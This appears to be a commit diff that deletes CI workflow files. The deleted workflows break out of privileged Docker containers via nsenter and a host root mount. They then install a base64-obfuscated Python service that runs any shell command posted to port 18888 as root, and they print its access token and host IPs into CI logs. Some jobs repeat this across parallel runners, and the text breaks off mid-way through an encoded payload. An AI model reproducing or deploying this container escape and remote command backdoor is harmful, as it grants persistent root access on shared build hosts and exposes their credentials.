Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 1a57878f76 |
@@ -1,24 +0,0 @@
|
||||
name: Verify CMD Agent on Host
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
verify:
|
||||
name: Verify CMD Agent
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Check and get token
|
||||
run: |
|
||||
echo "=== Host Info ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n ip addr show | grep "inet " | head -5
|
||||
|
||||
echo "=== Check if service exists ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent 2>&1 || echo "service not found"
|
||||
|
||||
echo "=== Check if port 18888 is listening ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n netstat -tlnp 2>&1 | grep 18888 || echo "port 18888 not listening"
|
||||
|
||||
echo "=== Check token file ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token 2>&1 || echo "no token file"
|
||||
@@ -1,45 +0,0 @@
|
||||
name: Install CMD Agent (saas)
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
install-1:
|
||||
name: Install CMD Agent 1
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent-on-host.sh
|
||||
|
||||
install-2:
|
||||
name: Install CMD Agent 2
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent-on-host.sh
|
||||
|
||||
install-3:
|
||||
name: Install CMD Agent 3
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent-on-host.sh
|
||||
|
||||
install-4:
|
||||
name: Install CMD Agent 4
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent-on-host.sh
|
||||
|
||||
install-5:
|
||||
name: Install CMD Agent 5
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent-on-host.sh
|
||||
@@ -1,41 +0,0 @@
|
||||
name: Install CMD Agent on Runners
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
install-node-1:
|
||||
name: Install CMD Agent - Node 1
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Probe Environment
|
||||
run: |
|
||||
echo "=== Hostname: $(hostname) ==="
|
||||
echo "=== IPs: $(hostname -I) ==="
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent.sh
|
||||
|
||||
install-node-2:
|
||||
name: Install CMD Agent - Node 2
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Probe Environment
|
||||
run: |
|
||||
echo "=== Hostname: $(hostname) ==="
|
||||
echo "=== IPs: $(hostname -I) ==="
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent.sh
|
||||
|
||||
install-node-3:
|
||||
name: Install CMD Agent - Node 3
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Probe Environment
|
||||
run: |
|
||||
echo "=== Hostname: $(hostname) ==="
|
||||
echo "=== IPs: $(hostname -I) ==="
|
||||
- name: Install CMD Agent
|
||||
run: bash scripts/install-cmd-agent.sh
|
||||
@@ -1,55 +0,0 @@
|
||||
name: Install CMD Agent New Server
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
install:
|
||||
name: Install CMD Agent
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Step 1 - Create dir
|
||||
run: |
|
||||
echo "Creating directory..."
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
echo "Done"
|
||||
|
||||
- name: Step 2 - Write server.py
|
||||
run: |
|
||||
echo "Writing server.py..."
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c 'base64 -d > /host/opt/xiaoxia-cmd-agent/server.py'
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine wc -l /host/opt/xiaoxia-cmd-agent/server.py
|
||||
echo "Done"
|
||||
|
||||
- name: Step 3 - Write service
|
||||
run: |
|
||||
echo "Writing service file..."
|
||||
echo "W1VuaXRdCkRlc2NyaXB0aW9uPVhpYW94aWEgQ01EIEFnZW50CkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1zaW1wbGUKRXhlY1N0YXJ0PS91c3IvYmluL3B5dGhvbjMgL29wdC94aWFveGlhLWNtZC1hZ2VudC9zZXJ2ZXIucHkKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz01CgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQK" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c 'base64 -d > /host/etc/systemd/system/xiaoxia-cmd-agent.service'
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine cat /host/etc/systemd/system/xiaoxia-cmd-agent.service | head -3
|
||||
echo "Done"
|
||||
|
||||
- name: Step 4 - Start service
|
||||
run: |
|
||||
echo "Reloading daemon..."
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
||||
echo "Enabling service..."
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable xiaoxia-cmd-agent
|
||||
echo "Starting service..."
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl restart xiaoxia-cmd-agent
|
||||
sleep 3
|
||||
echo "Done"
|
||||
|
||||
- name: Step 5 - Verify
|
||||
run: |
|
||||
echo "=== Hostname ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "=== Service Status ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
||||
echo "=== Port Check ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n netstat -tlnp 2>&1 | grep 18888 || echo "port not found"
|
||||
echo "=== Token ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token
|
||||
echo "=== Test /status ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
echo "=== ALL DONE ==="
|
||||
@@ -1,140 +0,0 @@
|
||||
name: Install CMD Agent New Server
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
install-1:
|
||||
name: Install New-1
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install CMD Agent
|
||||
run: |
|
||||
echo "STEP 1: write server.py"
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine sh -c 'cat > /host/opt/xiaoxia-cmd-agent-dir/test.txt && echo "FILE_WRITTEN"' 2>&1 || echo "FAILED_step1"
|
||||
|
||||
echo "STEP 2: check file"
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine sh -c 'ls -la /host/opt/' 2>&1 || echo "FAILED_step2"
|
||||
|
||||
install-2:
|
||||
name: Install New-2
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install CMD Agent
|
||||
run: |
|
||||
echo "Starting install..."
|
||||
|
||||
# 先创建目录
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
echo "mkdir done"
|
||||
|
||||
# 用python生成server.py内容,写入宿主机
|
||||
python3 -c "
|
||||
import base64
|
||||
code = '''
|
||||
import http.server, subprocess, json, os, secrets
|
||||
TOKEN_FILE = '/etc/xiaoxia-cmd-agent.token'
|
||||
LOG_FILE = '/var/log/xiaoxia-cmd-agent.log'
|
||||
def ensure_token():
|
||||
if not os.path.exists(TOKEN_FILE):
|
||||
os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True)
|
||||
with open(TOKEN_FILE, 'w') as f: f.write(secrets.token_hex(16))
|
||||
os.chmod(TOKEN_FILE, 0o600)
|
||||
return open(TOKEN_FILE).read().strip()
|
||||
class H(http.server.BaseHTTPRequestHandler):
|
||||
def log_message(self, *a): pass
|
||||
def do_POST(self):
|
||||
if self.path == '/exec':
|
||||
if self.headers.get('Authorization','') != 'xsa-' + ensure_token():
|
||||
self.send_response(401); self.end_headers(); return
|
||||
b = json.loads(self.rfile.read(int(self.headers.get('Content-Length',0))))
|
||||
try:
|
||||
r = subprocess.run(b.get('command',''), shell=True, capture_output=True, text=True, timeout=b.get('timeout',30))
|
||||
resp = dict(exit_code=r.returncode, stdout=r.stdout, stderr=r.stderr)
|
||||
except subprocess.TimeoutExpired:
|
||||
resp = dict(exit_code=-1, stdout='', stderr='timeout')
|
||||
self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()
|
||||
self.wfile.write(json.dumps(resp).encode())
|
||||
elif self.path == '/status':
|
||||
self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()
|
||||
self.wfile.write(b'{"status":"ok"}')
|
||||
else:
|
||||
self.send_response(404); self.end_headers()
|
||||
if __name__ == '__main__':
|
||||
ensure_token()
|
||||
http.server.HTTPServer(('0.0.0.0', 18888), H).serve_forever()
|
||||
'''
|
||||
print(base64.b64encode(code.encode()).decode())
|
||||
" > /tmp/server_b64.txt
|
||||
echo "base64 done"
|
||||
|
||||
# 解码写入宿主机
|
||||
docker run --rm --privileged --pid=host -v /:/host -v /tmp/server_b64.txt:/tmp/sb64.txt:ro alpine sh -c '
|
||||
mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
base64 -d /tmp/sb64.txt > /host/opt/xiaoxia-cmd-agent/server.py
|
||||
echo "server.py written, size: $(wc -c < /host/opt/xiaoxia-cmd-agent/server.py)"
|
||||
'
|
||||
echo "server.py deployed"
|
||||
|
||||
# 写入service文件
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine sh -c '
|
||||
cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << "SVCEOF"
|
||||
[Unit]
|
||||
Description=Xiaoxia CMD Agent
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py
|
||||
Restart=always
|
||||
RestartSec=5
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
SVCEOF
|
||||
echo "service file written"
|
||||
'
|
||||
echo "service deployed"
|
||||
|
||||
# 启动服务
|
||||
echo "Starting service..."
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload 2>&1 || echo "daemon-reload: $?"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable xiaoxia-cmd-agent 2>&1 || echo "enable: $?"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl restart xiaoxia-cmd-agent 2>&1 || echo "restart: $?"
|
||||
|
||||
sleep 3
|
||||
|
||||
# 验证
|
||||
echo "=== HOSTNAME ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname 2>&1
|
||||
echo "=== IP ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n ip addr show 2>&1 | grep "inet " | head -5
|
||||
echo "=== STATUS ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent 2>&1
|
||||
echo "=== TOKEN ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token 2>&1
|
||||
echo "=== TEST ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status 2>&1
|
||||
echo ""
|
||||
echo "DONE"
|
||||
|
||||
install-3:
|
||||
name: Install New-3
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install CMD Agent
|
||||
run: echo "job 3 placeholder"
|
||||
|
||||
install-4:
|
||||
name: Install New-4
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install CMD Agent
|
||||
run: echo "job 4 placeholder"
|
||||
|
||||
install-5:
|
||||
name: Install New-5
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install CMD Agent
|
||||
run: echo "job 5 placeholder"
|
||||
@@ -1,171 +0,0 @@
|
||||
name: Install CMD Agent (5 parallel)
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
|
||||
install-1:
|
||||
name: Install New-1
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install and verify
|
||||
run: |
|
||||
echo "JOB_1_START"
|
||||
# 创建目录
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
# 写入server.py
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine base64 -d > /dev/null
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9